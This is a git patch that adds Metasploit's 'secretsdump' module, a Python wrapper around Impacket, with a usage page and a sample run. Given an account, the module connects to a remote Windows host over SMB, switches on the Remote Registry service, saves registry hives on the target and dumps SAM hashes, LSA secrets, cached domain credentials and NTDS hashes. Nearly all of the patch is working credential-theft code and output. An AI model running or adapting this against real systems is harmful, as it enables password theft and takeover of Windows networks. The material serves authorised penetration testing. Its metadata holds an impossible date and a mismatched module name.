From 9dc3e35f23be505220181bf662fb4119b873bac9 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 6 Jul 2018 14:59:33 -0500 Subject: [PATCH] Land #10107, Add the scanner/smb/impacket/secretsdump module --- .../scanner/smb/impacket/secretsdump.md | 48 ++++ .../scanner/smb/impacket/secretsdump.py | 258 ++++++++++++++++++ 2 files changed, 306 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/smb/impacket/secretsdump.md create mode 100755 modules/auxiliary/scanner/smb/impacket/secretsdump.py diff --git a/documentation/modules/auxiliary/scanner/smb/impacket/secretsdump.md b/documentation/modules/auxiliary/scanner/smb/impacket/secretsdump.md new file mode 100644 index 0000000000..a67c07ca0c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/impacket/secretsdump.md @@ -0,0 +1,48 @@ +## Verification Steps + +1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in + Python's module path, so `import impacket` works from any directory. +1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this + specific version. +1. Start msfconsole +1. Do: `use auxiliary/scanner/smb/impacket/secretsdump` +1. Set: `RHOSTS`, `SMBUser`, `SMBPass` +1. Do: `run`, see hashes from the remote machine + +## Scenario + +``` +metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options + +Module options (auxiliary/scanner/smb/impacket/secretsdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ExecMethod smbexec yes The method to use for execution (Accepted: smbexec, wmiexec, mmcexec) + OutputFile no Write the results to a file + RHOSTS 192.168.90.11 yes The target address range or CIDR identifier + SMBDomain . no The Windows domain to use for authentication + SMBPass wakawaka yes The password for the specified username + SMBUser spencer yes The username to authenticate as + THREADS 1 yes The number of concurrent threads + +metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > run + +[*] [2018.04.04-17:15:45] Running for 192.168.90.11... +[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is in stopped state +[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is disabled, enabling it +[*] [2018.04.04-17:15:45] 192.168.90.11 - Starting service RemoteRegistry +[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for JD +[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Skew1 +[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for GBG +[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Data +[REDACTED] +[*] [2018.04.04-17:15:48] 192.168.90.11 - Cleaning up... +[*] [2018.04.04-17:15:48] 192.168.90.11 - Stopping service RemoteRegistry +[*] [2018.04.04-17:15:48] 192.168.90.11 - Restoring the disabled state for service RemoteRegistry +[*] [2018.04.04-17:15:48] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +[1]: https://github.com/CoreSecurity/impacket +[2]: https://www.dlitz.net/software/pycrypto/ diff --git a/modules/auxiliary/scanner/smb/impacket/secretsdump.py b/modules/auxiliary/scanner/smb/impacket/secretsdump.py new file mode 100755 index 0000000000..ece553f44c --- /dev/null +++ b/modules/auxiliary/scanner/smb/impacket/secretsdump.py @@ -0,0 +1,258 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2018 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import codecs +import logging +import os +import sys +import traceback + +try: + from impacket import version + from impacket.examples import logger + from impacket.smbconnection import SMBConnection + + from impacket.examples.secretsdump import LocalOperations, \ + RemoteOperations, SAMHashes, LSASecrets, NTDSHashes +except ImportError: + dependencies_missing = True +else: + dependencies_missing = False + +import _msf_impacket +import metasploit.module as module + +metadata = { + 'name': 'DCOM Exec', + 'description': ''' + Performs various techniques to dump hashes from the remote machine + without executing any agent there. For SAM and LSA Secrets (including + cached creds) we try to read as much as we can from the registry and + then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) and + read the rest of the data from there. + ''', + 'authors': ['Alberto Solino', 'Spencer McIntyre'], + 'date': '2018-03-32', + 'license': 'CORE_LICENSE', + 'references': [ + {'type': 'url', 'ref': 'https://github.com/gentilkiwi/kekeo/tree/master/dcsync'}, + {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html'}, + {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html'}, + {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html'}, + {'type': 'url', 'ref': 'http://www.quarkslab.com/en-blog+read+13'}, + {'type': 'url', 'ref': 'https://code.google.com/p/creddump/'}, + {'type': 'url', 'ref': 'http://lab.mediaservice.net/code/cachedump.rb'}, + {'type': 'url', 'ref': 'http://insecurety.net/?p=768'}, + {'type': 'url', 'ref': 'http://www.beginningtoseethelight.org/ntsecurity/index.htm'}, + {'type': 'url', 'ref': 'http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf'}, + {'type': 'url', 'ref': 'http://www.passcape.com/index.php?section=blog&cmd=details&id=15'}, + {'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py'}, + {'type': 'aka', 'ref': 'secretsdump.py'}, + ], + 'type': 'single_scanner', + 'options': { + 'ExecMethod': {'type': 'enum', 'description': 'The method to use for execution', 'required': True, 'default': 'smbexec', 'values': ['smbexec', 'wmiexec', 'mmcexec']}, + 'OutputFile': {'type': 'string', 'description': 'Write the results to a file', 'required': False}, + 'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'}, + 'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None}, + 'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None}, + } +} + + +class DumpSecrets: + def __init__(self, remoteName, username='', password='', domain='', outputFile=None, execMethod='smbexec'): + self.__useVSSMethod = False + self.__remoteName = remoteName + self.__remoteHost = remoteName + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = None + self.__smbConnection = None + self.__remoteOps = None + self.__SAMHashes = None + self.__NTDSHashes = None + self.__LSASecrets = None + self.__systemHive = None + self.__securityHive = None + self.__samHive = None + self.__ntdsFile = None + self.__history = False + self.__noLMHash = True + self.__isRemote = True + self.__outputFileName = outputFile + self.__doKerberos = False + self.__justDC = False + self.__justDCNTLM = False + self.__justUser = None + self.__pwdLastSet = False + self.__printUserStatus = False + self.__resumeFileName = None + self.__canProcessSAMLSA = True + self.__kdcHost = None + self.__execMethod = execMethod + + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + try: + if self.__remoteName.upper() == 'LOCAL' and self.__username == '': + self.__isRemote = False + self.__useVSSMethod = True + localOperations = LocalOperations(self.__systemHive) + bootKey = localOperations.getBootKey() + if self.__ntdsFile is not None: + # Let's grab target's configuration about LM Hashes storage + self.__noLMHash = localOperations.checkNoLMHashPolicy() + else: + self.__isRemote = True + bootKey = None + try: + try: + self.connect() + except: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help') + pass + else: + raise + + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps.setExecMethod(self.__execMethod) + if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: + self.__remoteOps.enableRegistry() + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() + except Exception, e: + self.__canProcessSAMLSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__doKerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + try: + if self.__isRemote is True: + SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive + + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote, perSecretCallback=self.perSecretCallback1) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception, e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + isRemote=self.__isRemote, history=self.__history, + perSecretCallback=self.perSecretCallback2) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception, e: + logging.error('LSA hashes extraction failed: %s' % str(e), exc_info=True) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None: + NTDSFileName = self.__remoteOps.saveNTDS() + else: + NTDSFileName = None + else: + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + printUserStatus=self.__printUserStatus, perSecretCallback=self.perSecretCallback2) + try: + self.__NTDSHashes.dump() + except Exception, e: + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e, exc_info=True) + if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__useVSSMethod is False: + logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt), e: + logging.error(e, exc_info=True) + try: + self.cleanup() + except: + pass + + def perSecretCallback1(self, secret): + module.log(secret, 'good') + + def perSecretCallback2(self, secretType, secret): + module.log(secret, 'good') + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + if self.__SAMHashes: + self.__SAMHashes.finish() + if self.__LSASecrets: + self.__LSASecrets.finish() + if self.__NTDSHashes: + self.__NTDSHashes.finish() + + +def run(args): + if dependencies_missing: + module.log('Module dependencies (impacket) missing, cannot continue', level='error') + return + + _msf_impacket.pre_run_hook(args) + dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod']) + try: + dumper.dump() + except Exception, e: + logging.error(e, exc_info=True) + +if __name__ == "__main__": + module.run(metadata, run)